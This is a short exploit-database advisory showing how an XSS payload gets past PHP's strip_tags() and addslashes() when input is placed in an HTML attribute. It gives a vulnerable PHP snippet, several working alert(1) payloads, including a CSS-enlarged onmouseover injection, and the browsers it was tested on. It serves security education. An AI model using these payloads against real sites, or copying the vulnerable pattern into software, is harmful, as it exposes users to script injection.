=====================================================
Workaround strip_tags () and addslashes () in the XSS
=====================================================


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0                          
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      0
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1

#[+] Discovered By   : Inj3ct0r
#[+] Site            : Inj3ct0r.com
#[+] support e-mail  : submit[at]inj3ct0r.com
  
So, imagine such a simple script:


PHP code:

<?php 
$xss=''; 
$xss=trim(strip_tags(addslashes($xss))); 
print '<input name="123" value="'.$xss.'"/>'; 
?>

  
Now the standard test methods:

PHP code:

 //1 
$xss='" onmouseover=alert(1) a="'; 
//2 
$xss='"><script>alert(1)</script><'; 

  
In the first case, we removed XSS function addslashes (),
in the second - a function strip_tags. XSS is not gone = (


Now, our variable set equal to the following value:

PHP code:

$xss='" style="a:b;margin-top:-1000px;margin-left:-100px;width:4000px;height:4000px;display:block;" onmouseover=alert(1); a="';


Get this html code:

<input name="123" value="\" style=\"a:b;margin-top:-1000px;margin-left:-100px;width:4000px;height:4000px;display:block;\" onmouseover=alert(1); a=\""/> 


Alert! =))
  
Usually applies htmlspecialchars () / htmlentities (), and this is the surest way to protect against XSS.

Now we are not an obstacle as strip_tags, and addslashes =)

As you can see, there is closure of the first attribute, then a big block of CSS and the implementation of javascript onmouseover =)

Tested on IE8, Firefox 3, Opera 9.51, and Safari 3

ThE End =]  Visit my proj3ct  :

http://inj3ct0r.com
http://inj3ct0r.org
http://inj3ct0r.net

# ~  - [ [ : Inj3ct0r : ] ]